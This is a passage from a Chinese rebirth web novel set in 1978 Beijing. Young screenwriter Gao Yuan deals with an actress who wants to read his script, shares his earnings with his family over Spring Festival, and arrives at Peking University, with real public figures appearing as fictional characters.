佟大爷乜高跃林一眼,道:“过来后也不说找谁,跟我在这儿侃文学创作,话里话外向我打听三朵金花姓甚名谁、长相如何。 老子听他说得蛮像那么回事,以为他是哪个厂的导演来咱们厂挑选演员的。 顺嘴问了一句,这位导儿,你有戏要开拍啊? 他说没有,也不是导儿,他是你小叔,过来找你玩儿的。 这不是故意拿大爷打镲吗?” “哈哈哈哈……”高远乐得不行了,这是小叔的做派,先把你侃晕了,在你迷糊时再给你来个神反转。 高跃林也嘿嘿笑着,不以为耻,反以为荣。 “您老看他不顺眼,狠狠踹他一脚解解气。”高远怂恿佟大爷给小叔涨涨教训。 佟大爷不上当,瞪着眼说道:“你小子也不是块好饼!我这一脚踹出去,不就跟你们爷儿俩结仇了么?当你大爷大傻帽呢,争两句嘴就得罪人? 滚滚滚,都给老子滚! 看你们叔侄俩贼眉鼠眼的臭德行老子就烦!” 得,不碍您的眼了。 高远拽着高跃林麻溜滚了。 回到403,高跃林打量着这间房,啧了一声,道:“条件不错啊。” 见他身上脏兮兮的,高远问道:“嘛去了?半身土半身泥的。” 高跃林挺自觉,没往弹簧布沙发上坐,拉过椅子骑上去,正对着高远说:“被你娘抓了壮丁,在你家打扫了一上午卫生。” “家里很脏吗?” “不仅脏,还乱。门上贴着封条,现撕开的,进屋后发现,跟抢劫现场似的,明显被人翻过,你爸那些书被扔得满地都是,卧室里的被褥也全都堆在地板上。” 高远轻蹙的眉头很快又舒展开来,“正常,这是在寻找我爸妈的反动证据,红小兵们能使得出来。” 高跃林锤着老腰感慨道:“唉……那段不堪回首的岁月啊。” “不聊这个,不聊这个。”高远给小叔倒了杯白开水递给他,问道:“打扫干净了?” “废话!你今晚就可以回家住了。”高跃林瞪他一眼。 咚咚咚! 外面有人在敲门。 高远走过去把门打开,一张熟悉的面孔出现在他眼前。 “您就是高远老师吧?”来人是个女同志,标志的鹅蛋脸,浓眉大眼,肌肤远没有后世那般饱满细腻,却也透着淡淡的红润,肩薄腰细,前凸后翘。 尤其她那双眼睛,俏皮灵动,冲高远眨了眨,高远人都麻了。 不是永远的少女庆奶还能是谁。 “可不敢这么称呼,您才是老师,久闻大名了。”高远像个门神,对其严防死守。 真不敢让她进呐。 倒不是说高远忌惮这位的风评。 那是刘奶奶的私生活,轮不到高远说三道四品头论足。 他怕粘上了甩不掉。 除此之外,他还担心屋里那位见色起意。 小庆奶奶可是已经结了婚的人,她这种水蜜桃类型的少妇,无疑对小叔那种采花贼类型的骚货有着无与伦比的吸引力。 “久闻大名,何出此言啊?”刘小庆又冲高远刷刷放电。 我就客气两句,您咋还当真了? 高远心念电转,“《南海长城》《同志,谢谢你》我都看过不止一遍,对您在影片中精湛的演技印象深刻。您这是刚拍完新片回来?” 刘小庆笑着点头说:“可不是刚回来嘛,我参演了一部电影,叫《春歌》,拍完回来后听说厂里来了个17岁的大才子,写了个很优秀的本子,就特地过来拜访一下您。 不请我进去坐坐吗?” 我是该请,还是不该请呢? 人家把话说到明面上了,高远再挡着就不合适了。 他侧了身,说道:“快请快请,瞧我,光顾着跟您聊天了,失了礼数,您海涵。” 高远留了个心眼儿,没敢关门。 “不碍的,您太客气了。”刘小庆掩嘴一笑,大大方方进了屋,一眼瞧见椅子上还坐着一位,扭头问高远道:“这位是……” 高远忙介绍道:“这是我小叔,小叔,这位是刘小庆老师。” 发现小叔的眼睛猛地亮了,他心说坏菜喽,小叔这堆干柴碰上了刘小庆这根小火苗,眼看着就要熊熊燃烧起来。 果不其然,高跃林腾地从椅子上一跃而起,飞快地走过来,隔老远就主动伸出双手,笑得见牙不见眼,说:“刘老师您好,我也久闻您的大名了,没想到今天跟您碰一块儿了,我三生有幸啊。” 刘小庆伸手跟他一握,眼波流转,笑道:“您太客气了,认识您我也很高兴。您是高老师的小叔,我是不是也应该喊您声叔啊?” 高远在心里暗赞了一句:这心思,忒通透了! 人家一眼就看穿小叔那点小心思了。 “嗐,社会辈儿,各论各的就成。”高跃林没听出她的弦外之音来,或者是,他装作没听出来。 “小叔,小庆老师是柔弱的女同志啊,手都快被您捏变形了。”见小叔还抓着刘小庆的手不放,高远低声提醒了一句。 靠! 你看不出来小叔什么心思吗? 你个没眼色的玩意儿! 高跃林怒瞪他一眼,转过脸来又是笑容满面,讪讪松开了手,“不好意思,激动了,激动了。” 刘小庆说声不妨事的,自顾自走到沙发前坐下,望着高远,开门见山,“冒昧提个请求,我能看看您创作的剧本吗?” 您还真是一点都不见外。 “还没最终定稿呢,您这是想出演?”高远问道。 “只要本子够优秀,我肯定会全力争取的。”她一点都不掩饰自己的目的。 高远为难了。 原版《瞧这一家子》中,张岚这个角色就是刘小庆饰演的。 高远也承认,她演得不错,把张岚伶牙俐齿、尖酸刻薄的人物形象刻画的栩栩如生。 但这辈子高远没打算用她啊。 他心目中已经有了更合适的人选。 “不好意思啊刘老师,选角工作导演说了算,您找我是找错人了。”高远给她留了面子,没把话说得太死。 做人留一线嘛,说不定今后还有合作的机会呢。 刘小庆没有气馁,反倒笑着说:“所以啊,我冒昧过来找您,想先看看剧本,如果人物适合我,导演那边我自然会主动去争取的。” “小远,刘老师都把话说到这个份儿上了,你把你那剧本给刘老师看一眼怎么了?咋,还得让刘老师求着你不成啊?”被美色迷惑了双眼的高跃林居然帮着刘小庆讨伐起高远来。 看他一眼,高远深感无奈,只得走到书桌前,拉开抽屉把剧本拿出来递给刘小庆。 “谢谢啊。”刘小庆接过剧本开始阅读。 高远蹬着不着调的小叔。 高跃林含情脉脉望着小庆。 房间里静谧又诡异。 见门开着,梁晓声走进来,刚想说几句,发现刘小庆也在,一时心惊肉跳,俩眼珠子都瞪圆了。 高远见他如见救星,热情地迎上前,提高点儿音量说道:“梁老师来了,您别在门口站着了,快里边请吧。” 梁晓声从愣怔中缓过神来,嘿嘿一笑说道:“喊你去食堂吃饭的,哟,小刘也在呢。” 他的目光透着不解,什么情况啊这是? 刘小庆抬起头,一看是梁晓声,笑道:“刘老师好啊,这不是听说高老师写了个本子嘛,我就厚着脸皮过来看看有没有适合我的角色。” 你还知道自个儿厚脸皮啊。 你的自我认知很深刻嘛。 梁晓声默默吐槽了两句后,扭头就是另一套嗑:“小刘的上进心在厂里堪称楷模,业务能力也得到了全厂干部职工们的高度认可。有相中的角色没?” 高远又感慨了,还是您会做人呐。 “您过奖了,倒是对张岚这个角色产生点兴趣。”刘小庆说着,意味深长的目光却望向高远。 您眼光真准! 见她眉目传情的样子,高远仍旧秉承着不吱声、不表态、不决绝的“三不”原则。 刘小庆显然有点不高兴了,我都把话说得如此直白了,你小子居然还端着,这就有点儿可恶了。 你也甭跟我说选谁出演是导演的工作。 大家心里都清楚,编剧的建议在导演心目中占很大分量。 因为影片中的角色都是编剧刻画出来的,一般来说,编剧在塑造角色的过程中,脑子里是有人物模板的。 在创作这个故事的时候,大多数角色已经印在了编剧的脑海中。 编剧心里跟明镜似的,非常清楚这个角色由哪位演员来出演是最合适的。 所以说,虽说导演权力大,但也得充分尊重编剧的意见和建议。 高远敷衍的态度,别说刘小庆了,连梁晓声都能看得出来。 “小高,再不去食堂,可就要错过饭点儿了。”梁晓声没接刘小庆的话茬,反而给高远递了个台阶。 第35章 装出境界来了 刘小庆站起身,笑着说:“午饭我请客吧,也好跟小高老师多交流交流。” 高远拽住蠢蠢欲动的小叔,不假思索地婉拒道:“不好意思啊刘老师,我小叔过来找我,是通知我回家吃饭的。改天吧,改天我请您。” 刘小庆看他一眼,遗憾地说道:“好吧,那我就不打扰您几位,先回了。” 她站起身就走。 高远咳嗽一声,说:“剧本您得给我留下啊。” 刘小庆回眸一笑,这才把剧本轻轻放在了茶几上,转身离去。 “唉,全是小心思啊。”高远感慨道。 “我劝你离她远一点。”梁晓声对高远说道。 “怎么了?这人不好接触吗?”高远装傻充愣。 梁晓声纠结了片刻后说道:“倒是不难接触,就是吧,她私生活混乱了些,作风上有点问题。” 哎呀,作风问题在这个年代中可是个大问题啊。 高远上辈子就对刘老师那几段感情耳熟能详了,但他不说,还一副很感兴趣的样子怂恿着梁晓声展开来讲讲。 高跃林也满脸好奇,作风有问题好啊,没问题我还找不到下手的机会呢。 梁晓声到底是个有底线的人,背地里议论别人不是的事情他干不出来,架着高远的胳膊往外走,死活不肯透露半分。 “这是你小叔?” “昂,亲的。” “你真回家吃啊?” “我们家搬到学院路30号院了,离家近,我回去看看。” 梁晓声琢磨琢磨,说:“30号院,那不是钢铁学院的教师公寓么。” 高远笑道:“我爸在钢铁学院任教,这不刚落实了政策,院领导把收回去的房子又还了回来。” 有些话,无需多说。 梁晓声点头表示明白。 三人在楼下分别。 高远和小叔回学院路。 梁晓声去食堂吃午饭。 边走,高跃林边打量着厂区,男男女女穿梭在厂里,其中不乏一些成名已久的老电影人,和这几年刚在影坛崭露头角的青年新星。 有几个跟高远认识的主动跟他打招呼。 高远也一一回应着。 “那是李秀明,那个是张金玲,这两位加上刘小庆,就是北影厂的三朵金花。”高远给小叔介绍着。 “长得确实漂亮。诶,那女的是谁啊?”他又瞧见一位,只给高远看。 高远望过去,嘴角浮现出笑意,“蔡明,也是厂里的职工,你要不要过去打个招呼认识一下?” 高跃林一哆嗦,摆着手说道:“不了不了,这姑娘长得……” 他找不到合适的形容词了。 高远笑着说:“特点鲜明?” “哈哈哈哈,没错,特点鲜明。” 叔侄俩出了门,坐632路公交车花了8分钟到达钢铁学院北门。 进了院子左拐便是10号公寓楼。 高远家是2单元3楼西户。 公寓楼是70年代初兴建的,砖混结构,一共五层,每层两个住户,入户门相对的户型。 在国营大厂的职工们大多数还在住筒子楼的现如今,这种户型的房子绝对领先潮流。 没办法,谁让钢铁学院跟首钢联系紧密呢。 别以为首钢只生产钢筋,那可是个大集团,下属的二级企业里就有好几家建筑公司。 建筑公司的设计师们操刀设计教师公寓,主打一个宽敞明亮、坚固耐用。 高远迈步走进单元门,拾阶而上,到了家门口,见房门半开着,他推门而入。 熟悉的味道扑面而来。 上辈子在这套房子里住了十多年,一直到父亲去世后,他担心母亲睹物思人积郁成疾,好说歹说方才劝得母亲搬离了此处。 这辈子再次回到这个非常熟悉的住所,一切都变得不一样了。 父亲的身子骨很硬朗。 母亲在通往戏精的路上越走越远了。 姐姐…… “呀,小远回来了。”刚想到姐姐,姐姐就到。 高雅抱着把吉他快步走过来,向高远展示着,“瞧瞧这是啥?” “吉他,外国人叫guitar,因为有六根弦,又被称之为六弦琴。姐,你从哪儿找到这把老家伙的?” 高远从姐姐手中把吉他接过来,轻轻抚摸着琴箱,动作轻柔得像是在抚摸庆奶白嫩的肌肤。 这把民谣吉他是姐弟俩求了老爸好几次,老爸才咬着牙跺着脚给两人买回来的。 记忆中,上辈子一家人回来后并没有找到这把吉他。 或许是家里又被别人光顾过还是其他原因,高远回忆不起来了。 姐弟俩还失落过很长时间。 如今又见到老伙计,他格外高兴。 高雅笑着说道:“很惊喜吧?就在你卧室衣柜的上面放着呢,我拿下来后琴弦都松了,好在我调了调发现还能用,不然就只能去琉璃厂乐器店重新配了。” 在京城,他们这个年龄段的年轻人,十个里有八个会弹吉他,并且水平不赖。 因为文化娱乐活动匮乏,年轻人们又有一颗躁动不安的心,就只能自找乐子。 所以,两伙人约个地儿茬琴也不知道被哪位大才给带动了起来。 成为年轻人们喜闻乐见的一项娱乐活动。 还有一个主要原因,小伙子抱一把吉他往金水桥白玉栏杆上一靠,栽歪着身子边弹边唱,吸引眼球不说,还能大大提高拍婆子的成功率。 “嗯嗯,确实有点惊喜了。”高远把吉他抱在怀里,抬手扫了一道和弦。 悦耳的声音在客厅里飘荡,高雅眼睛一亮,挑起大拇指道:“可以啊,你的手艺居然没丢下。” 高远嘿嘿一笑,说道:“也不成了,好几年没摸过了,想要恢复到以前的水平,还得熟悉一段时间。” 高雅闻言立马抢了过去,“好好写你的剧本吧,别抢啊,我先玩儿几天。” 高远笑着说好。 他太清楚了,姐姐的吉他弹奏水平比他高的不是一星半点,嗓音也清澈透亮,唱歌贼好听。 她似乎有一种与生俱来的音乐天赋,这也是她为什么要报考北师大音乐教育专业的原因。 上辈子,姐姐大学毕业后就被分配到育英中学教音乐,后来自己下海开了家音乐大教堂,并且培养出了几名在流行乐坛里排得上号的歌星。 她在音乐教学领域里也是有一号的人物。 诶,要不要给姐姐写几首歌呢? 这个念头一冒头,高远立马兴奋了。 培养别人成名成星固然受人敬重,但哪有自个儿登顶乐坛更有成就感的。 现在还不是时候,过段时间再说。 高远按捺住这个想法,在家里转了起来。 这套房子有83平米,纯83平,没公摊。 公摊面积这个概念是李黄瓜那个老王八蛋首创的,害老百姓们多花了多少冤枉钱呐。 三室两厅一卫的格局。 主卧室在南向,对面是次卧。 客厅靠近阳台边还有间卧室,这才是高远的自留地。 他这间卧室有16个平米,不大,一应家具却很齐全。 高远推开门,没往里走,站在门口看了看,书桌旁边立着个书架,对面是张一五米的床,床边竖着两开门衣柜。 白色地板砖被拖得能反射出人影来。 一切都是记忆中的样子。 他又去卫生间看了看。 嗯,抽水箱,蹲便器。 这也比每天早晨去胡同口排大队挤公厕强多了。 高远回到客厅,往沙发上一坐,接着立马又站了起来,沙发里面的弹簧都没弹性了,一屁股坐下去,好悬没闪着腰。 见他这副窘迫样,高跃林幸灾乐祸地笑了起来。 这时候,老妈和小姑从厨房里走出来。 老妈笑道:“你们三个,洗手吃饭。” 高远立正敬礼,大声说道:“遵命!” 然后奔卫生间,洗了手回来,先把将校呢脱下来扔到自己房间床上,又把那个厚厚的信封拿出来。 他走到餐桌前坐下,啪地一甩,扬眉吐气道:“妈,我的稿酬发下来了,您得着吧。” 张雪梅又惊又喜,连忙将信封拿起来打开,往里一瞧,咝了一声,“多少钱啊这是?” 高远往饭碗里夹了些土豆丝,扒拉一口米饭后云淡风轻地说道:“不多,才1220块,跟我爸没得比。” 张雪梅突然很想揍他一顿,“1220块还不多,多少是多啊?” 高雅也惊讶地望着高远,说道:“你小子太能装了,都装出境界来了,要知道,这1220,一个国家干部也得工作将近两年,不吃不喝才能攒下来。” 小姑点头如捣蒜,却问道:“写剧本这么挣钱吗?” “这还算少的,我听北影厂文学部的编辑们说,5、60年代才疯狂,一名编剧写的剧本被制片厂采用了,最少也能挣4000块。” “天啊,那写两个剧本不就成万元户了吗?” “有些知名编剧,写一个就能成万元户。” 大家都觉得不可思议。 张雪梅又把信封递还给高远,她说道:“你自个儿挣的钱,自个儿存起来,妈可不负责帮你保管。” 高远接过来,放下饭碗,又把信封打开,从里面点出二十张递给老妈,说:“妈,别推辞,贴补家用。” 张雪梅点点头,开心得像个42岁的孩子。 高远又数出二十张放在小姑面前,说:“小姑,您一个人南下求学,身上没点钱一家人都不会安心,这钱您拿着。” “不不不,小远,你的心意小姑心领了,小姑这些年也存了不少工资,足够花销了,怎么能拿你的钱呢。”高跃然坚辞不受。 “为什么不能拿我的钱?您攒下的是您的,我孝敬的是我应当应分的,侄子孝敬姑姑不是天经地义的事情吗?别再推来推去了啊,赶紧收起来吧。”高远非常坚决。 张雪梅笑道:“跃然,小远都把话说到这个份儿上了,你就收下吧。跟自己侄子就别见外了,他孝敬你是应该的。” 高跃然双眼中有泪光在闪动,她吸溜一下鼻子,噗嗤笑了,“哎呀,我现在心里满满都是幸福感。那我就不客气了,小远,这钱姑收了。” 高远笑着说:“您本就应该收着。” 高跃林眼巴巴望着高远,心里默念着该我了该我了,你小子孝敬完你小姑,总不会厚此薄彼,不孝敬你小叔吧? 只见高远麻溜的数出十张,塞高雅手里,说:“姐,多少是个意思,花完了再跟弟弟要哈。” 高雅不好意思起来,“太多了太多了,100块啊,我上哪儿花去啊?我拿一张就行。” “收着!” “好的!” 高跃林:“……我在这个家里一点地位都没有吗?” 第36章 过年 见姐姐把钱塞进裤兜里,高远这才扭过头来笑眯眯看着小叔,把高跃林看得心里直发毛。 “干嘛这么看着我啊?”他装作一点都不在意的样子,往嘴里扒拉着米饭。 “想要吗?”高远拿着信封在他眼前晃了晃。 “我要你钱干嘛?我又不是挣不到。” “我孝敬孝敬您啊。” 高跃林脸红脖子粗,一副很有骨气的样子,道:“心领了,你自个儿留着花吧。” 张雪梅幽幽说道:“老三,跟谁过不去,也别跟钱过不去啊。” 高跃然又添了把柴火,“二嫂说得对。” 高跃林脸更红了,“真不用,我一大老爷们儿,一长辈,怎么好意思占侄子这种便宜,张扬出去了,好说不好听啊。” “啊~”高远发出一声美妙的呻吟,又道:“我小叔铁骨铮铮呐!” “嗯,小叔不吃嗟来之食。”高雅夸赞道。 高跃林欲哭无泪。 没这么欺负人的。 眼见着小叔快坐不住了,臊的屁股在椅子上转着圈地磨,高远不再逗他,数出二十张大团结拍在他面前,真诚地说道:“拍婆子不得花钱,还是请客吃饭不用花钱? 小叔您收着吧,就当我赞助您的活动经费了。 我只有一个要求,早点给我带个小婶回来就行。” 小叔的婚事,从上辈子起就是爸妈最难解决的老大难问题。 这辈子,高远想通过自己的努力改变一下小叔的思想观念,让他成个家。 他也想得很清楚,钱这个玩意儿,生不带来死不带去的,挣了不就是给家人花的嘛,花完了大不了接着挣呗。 望着面前那一小摞大团结,高跃林还有点扭捏,“不合适吧?” 惺惺作态! 高远翻了个白眼儿,说话间就把手伸向那一沓钞票。 高跃林比他还快,迅雷不及掩耳之势抓起来塞进裤兜里,臭不要脸地说道:“二嫂说得对,跟谁过不去,也别跟钱过不去。” 几位:“咦……” 一顿饭吃得很欢乐。 收拾过碗筷后,高远问老妈道:“妈,我爸今儿中午咋没回来吃饭。” 张雪梅叹声气,说:“忙啊,你爸忙得脚不沾地了,加班呢,哪有时间回来吃饭。” “招生的事儿?” “对,学院里刚接到教育部门的通知,出于国家建设的需要,要求学院再扩招三十名学生。” “这对今年参加高考的落榜生们来说倒是件好事儿。” 张雪梅点点头,没继续聊这个话题。 回到卧室,高远脱了衣服往床上一趟,全新的被褥软绵绵的,很舒服。 他迷迷糊糊睡了过去。 一睁眼,已经是下午三点半了。 这一觉睡得很踏实,爬起来去卫生间简单洗漱了一下。 见老妈和小姑、姐姐在卧室里整理着衣物,得了200块钱的小叔早就没影了,高远说道:“妈,我回北影厂了,明天交上稿子后就能回来过年了。” 张雪梅扭过头来笑着说:“去吧去吧,儿子加油干,老妈等你胜利班师回朝。” 高远一脑门子黑线呐。 老妈这性格变化也太大了。 他转身出了门,在北影厂招待所又磨了一下午洋工,晚上也没回家睡。 次日吃过早饭后,高远来到主楼,进了文学部,把剧本交给了江淮延。 “老太太没过来啊?”见施雯心不在,高远好奇地问了一句。 江淮延一边翻看着稿件一边说道:“主任被她家优子愁坏了,正找关系把人弄回来安排工作呢。” 葛优吗? 他这会儿应该还在昌平兴寿公社插队养猪呢吧? 高远笑笑,没多问,他就不是个好打听事儿的人。 江淮延翻到最后一页,认真看了会儿,笑着说道:“很好,文笔流畅,人物塑造个性鲜明,完全按照我们之前交流过的内容收了尾,我看可以定稿了。” 高远冲他拱着手,喜上眉梢,道:“感谢江老师的提点,也感谢各位编辑老师的关照,提前给大家拜个年,祝老师们新年快乐,身体健康,万事如意。” 江淮延呵呵一笑,说道:“也祝你新年快乐。” 梁晓声一抱拳,说:“阖家欢乐。” 郑伟:“学业进步。” 老耿:“来年发大财!” “耿老师这祝福我喜欢,谢谢您了。” “你这小子,整个一钱串子。” 江淮延又说道:“你把稿子拿回去,抽空重新誊抄一遍,然后安心等消息吧,什么时候建组,我让晓声通知你。” 高远想起一件事儿来,“剧本不在《电影创作》上发表了?” 江淮延一拍脑门儿,说道:“瞧我,把这茬给忘了,那就留下吧,有啥事等过完年再说。” “那我回了。” “回去吧。” 高远放了心,出门又回了趟403,把带过来的换洗衣服装进包里,出屋锁门下楼,想了想,去值班室问值班员:“房间钥匙交给谁?” 值班员小牛乐了,“您留着呗,过完年又不是不回来住了,交过来领回去的多麻烦啊。” “还能这样吗?” “分是谁。” 敢情我这还是享受特殊待遇了。 高远呲牙一乐,对小牛说,回头给你带好吃的来,小牛嘿嘿一笑,他转身出了招待所。 腊月28晚上,高远才在家里见到老父亲的身影。 “哎呦喂,您咋憔悴成这个样了呢?”他一看,老爸头发凌乱,下巴颏布满了唏嘘的胡茬子,眼眶乌黑,眼珠子通红。 高跃民往沙发上一坐,又站了起来,“什么破沙发!” 高远笑坏了。 他又说:“唉,可别提了,突然来了通知,要扩招,这样一来,所有报考学院未被录取考生的档案就得重新筛选一遍,工作量太大了,你爸我这几天都在点灯熬油地看档案。” 高远搬过来一把椅子,让老爸坐下,又给他倒了杯茶,问道:“那,扩招工作都结束了吗?” 高跃民接过茶杯喝了口茶,说道:“早着呢,这几天我也真是长见识了,查阅考生档案时我发现,有些学生单论分数的话,第一批就应该被录取了。 但是因为祖父在对面,父亲是右派,或者家人的问题还没弄清等原因,档案被搁置在一边了。 这完全违背了邓公高考不看家庭成分,只看本人政治表现,考试分数是各大院校招生的唯一标准这个大原则。” 说着,高跃民有些气愤。 高远能理解老爸的感受,老爸是从那个慌乱的年代走过来的,他深知高考对一名学生的重要性。 明明考了高分,却因为历史原因没被录取,对那些考生们来说,无异于晴天霹雳。 这是在毁人一生。 老妈和姐姐也被老爸的话吸引过来。 张雪梅端着个洗菜筐,菜筐里装着翠绿的芹菜。 高雅拿了俩板凳,放在茶几前。 母女俩坐下,老妈问道:“那怎么处理的呢?” 高跃民说道:“肯定要上报啊,今天傍晚有结论了,对区别对待考生的两位老师予以调离岗位处分,留校察看,工资降两级。 这种现象不止我们学院有,其他高校也不少见。” 张雪梅摘着芹菜叶说道:“说到底,是因为有些老师们陈旧腐朽的思想观念还没转变过来。” 高雅却不这么看,她说道:“也许是挣扎,是报复,是对自己前些年被不公正对待的反击。” “我同意姐的看法,有些老师就是坏,他们把自己经历过的痛苦转嫁到考生们身上去,以此来得到心灵慰藉,实际上,这只是一种扭曲的快感,也是一种良知的泯灭。” 高远严肃地说道。 高跃民看看姐弟俩,蹙着眉头说道:“你们有点阴谋论了吧?大多数老师还是有很强的政治觉悟的。” 高远笑道:“您也说了,大多数有,不是还有小部分人没有么。” 高跃民叹息一声,哑口无言。 他其实心里也清楚,闺女、儿子判断得没错。 高远把这事儿记在心里了,这是个好素材啊,根据这件事情写个故事,塑造一个形象正面的教师,或许能有意想不到的收获。 “爸,明儿就年三十了,咱家怎么过?”见父亲情绪不高,高远岔开了话题。 高跃民掏出烟来点了一根,想了想,又递给高远一根,说:“老话说,有父从父无父从兄,本打算今年去你大伯家过年,你大伯说,他家里冷锅冷灶的,啥也没准备。 这不,他把单位上发的带鱼、苹果、挂历啥的都送咱家来了。 也跟你小叔小姑说过了,明天都到咱家来。” “嚯!那咱家今年可热闹了。”高远笑着说道。 “明天都早点起啊,帮我忙活忙活,我一个人可做不了一大家子的饭。” 张雪梅说完,见姐弟俩都说好,又对高跃民说道:“喝完这杯茶你赶紧去洗个澡,身上都臭了。” 高跃民嘿嘿笑着站起身,“我这就去。” 姐弟俩相视一笑,老爸有点儿怂啊。 尽管物质上依然匮乏,大鱼大肉没几盘,花生、瓜子也不能敞开吃,这两样也是限量供应的,但高家这个年仍然过得很热闹。 三十这天上午,高跃林不知道从哪儿弄回来一套猪下水,可把高远高兴坏了。 他撸起袖子开始整活,先给大猪头撩了毛,用斧子从中间一劈两半截。 这时候,老爸也从学院食堂里把煮肉的大铝锅借了回来。 高远把半个猪头、猪肝、猪蹄全扔进大锅里,加葱段姜片,倒了白酒去腥,先烧个开锅。 又把剩下那些猪大肠、猪肺、猪心等往窗户外面的台子上一放,齐活。 大冷的天,零下二十多度,猪肉放在外面根本不用担心会坏掉。 家家户户都这么干,不仅是肉类,一进冬天就储备下的白菜、萝卜、大葱等蔬菜,住楼房的人家要么放进地下室,要么就堆在小平台上。 水开,高远将水倒掉,把下水拿出来用温水仔仔细细冲洗了两遍。 另起锅,往里面扔了把花椒八角,几个干辣椒,葱姜蒜,又把下水放进去,倒入开水、酱油、甜面酱,开大火猛煮。 接下来等一个半小时,美味即成。 大伯出门打了个电话回来,不大会儿,四个年轻人抬着一套七成新的沙发过来了。 高远?了一眼,又走过来摸了摸,里面是海绵填充,外面是绒布。 放下后他坐上感受了一下,冲大伯挑起大拇指,笑道:“您是及时雨啊。” 大伯爽朗一笑,说:“我过来后,往你家那沙发上一坐,差点儿没闪了老腰,什么破沙发!都不能坐人了还摆在那儿干嘛?就让单位的小伙子帮忙,把我家这套搬过来了。” 第37章 北大,我来啦! “您把家里这套搬我家来了,您坐啥?”高远问道。 “我一天到晚能在客厅里待多大会儿,家,对大伯来说就是个睡觉的地方。”高跃华笑着说道。 他虽然面带笑容,但这话却透着一股子落寞。 高远把大伯拉过来坐下,低声说道:“大伯,今后我给您养老。” “滚蛋!”高跃华勃然大怒,道:“你个浑球儿,休养断了我找老伴儿的心思!” 高远瞪大眼睛,“您……可真是人老心不老,夕阳无限好啊,祝您早日成功。” 一家人爆发出欢快的笑声。 在北方过年,非常重视中午这顿饭。 高家的团圆饭说不上豪华,也有肉有鱼,肉是猪头肉,鱼是高远和小叔前两天去什刹海钓的。 小叔贼大胆,满满一铁皮桶鱼,还没出烟袋斜街就卖出去小半桶,挣了11块钱,让高远大开眼界,对小叔佩服的五体投地。 餐桌上这条鲤鱼也是高远做的。 搬到学院来后,就没地方弄酸菜去了,他选择了红烧。 高跃华夹了点鱼肉送进嘴里,对高远说道:“味道很棒。” “爱吃您就多吃点。”高远眉开眼笑。 八菜一汤,四个老爷们儿喝了二斤半西凤。 大伯带过来的两瓶红酒也被三位女士喝了个精光。 这年头儿,红酒可是个稀罕物,寻常人家见不到。 大伯恢复工作后,该有的待遇也恢复了。 正部级高干,行政级别13级,每月工资169元,组织提供一套住房。 生活方面,包括生活用具、交通工具、服务人员、外出休养以及食品供应等,都有明确规定和相应标准。 因此,大伯能搞到些红酒、糖果等寻常人家搞不到的玩意儿就不稀奇了。 团圆饭在两点钟结束。 大伯和老爸、小叔坐在沙发上聊着天。 老妈、小姑、姐姐则在为晚上包饺子做着准备。 高远有点累了,回房间睡了一会儿。 当外面响起噼里啪啦的鞭炮声,他才醒了过来。 看了看,天擦黑了。 对放鞭炮这种娱乐活动,高远是热衷的。 他也买了不少烟花爆竹。 上辈子,京城早就禁止燃放烟花爆竹了,过年成了一种形式,年味儿越来越淡,连人味儿都淡薄了很多。 重生回来后,他要好好享受当下的美好时光。 烟花升空,砰地炸开,五颜六色渲染着大地,将夜空照亮。 小姑和姐姐绽放出如花笑颜。 空气中充满了硫磺的味道。 楼底下大人笑孩子闹,一片热闹欢腾的景象。 高远几个放了会儿烟花鞭炮,听到老妈在阳台上喊了,才回了家。 一家人聚在一起,包饺砸! 两种馅料,一种是芹菜猪肉馅的,一种是菠菜木耳鸡蛋馅的。 这年头没啥娱乐活动,春晚还得等几年。 家里也没电视。 不是买不起,是弄不着家电券。 高跃民找出来收音机打开,随便找个电台听起了广播,也算给家里添了点儿年味儿。 高远熟练地擀着饺子皮,打眼一瞧,红灯牌的。 他翘起嘴角,收音机在这个年代里可是个好东西,调个频经常能收听到敌台你敢信? 明珠,明珠请接收,125、396、87、404,发送完毕……之类的。 全家老少齐上阵,包饺子的速度就快了起来。 不到一个小时,200多个水饺便包好了。 张雪梅又去厨房热了热中午的剩菜,让爷儿几个先喝着。 喝得差不多了,她开始煮水饺。 高远夹了个水饺送进嘴中,咽下后说道:“今年的水饺格外香。” 一家人都说:“是啊,今年的水饺格外香。” 是水饺香吗? 是一家人历尽磨难终团圆,大家心里香甜。 大年初一,高跃林带着高雅、高远姐弟俩在公寓楼里转了转,给楼上楼下,相好不错的邻居同事们拜个年。 高远在教师公寓大院里名声不小。 老师们都知道,高跃民的儿子是去年的高考状元。 他到了谁家都会被主人拉着问东问西。 这家伙也有问必答。 年前高远偶然遇见副院长。 副院长同志怒视着他,拽着他的袖子好一阵埋怨:“小远子,你是学院子弟啊,考个状元就翘尾巴了?你说,为什么没报考咱们学院?” 搞得高远哭笑不得,这都哪儿跟哪儿啊? 他说:“要不,您跟北大的领导们商量商量,把我要回来?反正我在哪儿读是无所谓的。” 一句话差点儿把副院长气得撅过去。 同样的事情也发生在了高雅身上。 姐姐说得更绝,“我是学文科的,我放着好好的人民教师不当,您这是打算让我弃文从武,毕业后直接进首钢当工人? 还是觉得我前几年在北大荒没受够罪,得继续接受工人阶级的再教育?” 副院长同志这次撅过去了。 高家这对姐弟已经成了副院长同志的梦魇。 这事儿已经在学院里传开了,姐弟俩去老师们家里拜年,被问最多的就是这事儿。 年味儿过了正月十五就逐渐消散了。 高跃然昨天去临安大学报到了。 如此又过了两天,阳历1978年2月25日,高远踩着北大最后一天报到的点儿,蹬着老爸的自行车,来到海淀颐和园路5号的南校门。 他行李不多,车把上挂了一个帆布包,后座上一个被窝卷儿。 昨天晚上老妈问他要不要住校? 自然是要住的。 两世为人初次上大学,还是国内最著名的高等学府,不得好好体会一下大学生活么。 父母对他住校的决定表示支持。 为啥啊? 原因很简单,高跃民工作忙,张雪梅的工作也不轻松,根本顾不上他。 况且闺女也提出来要住校,就更没人照顾幺儿了。 姐弟俩都去住校了,夫妻俩反倒省了心。 再说这小子有钱,不管吃还是住,他指定不会亏待自己。 此刻的北大南门人头攒动热闹非凡,1977级新生入学,让75、76级那些个工农兵师哥、师姐们跟看西洋景似的。 后世的南大门,已经成网红打卡地了。 三环路的东、南、北段更是早在1958年便建成通车,西南段也会在81年通车,西北段也在建设中。 但这会儿,这个地界儿,严格说起来就是郊区。 高远在大门口蹁下车子,再往校园里骑就不礼貌了。 他推着自行车,看着也不知道是朝气蓬勃还是骚气蓬勃的同学们,禁不住微微一笑。 年轻真好啊,忒躁动了。 “诶,前边那位同学,能帮我个忙吗?”忽地传来一个清脆的声音。 高远停步,扭头,见一个梳着两条羊角辫,身材高挑,眉清目秀,穿一身绿军装的姑娘也推着辆自行车在自己身后不远处手忙脚乱。 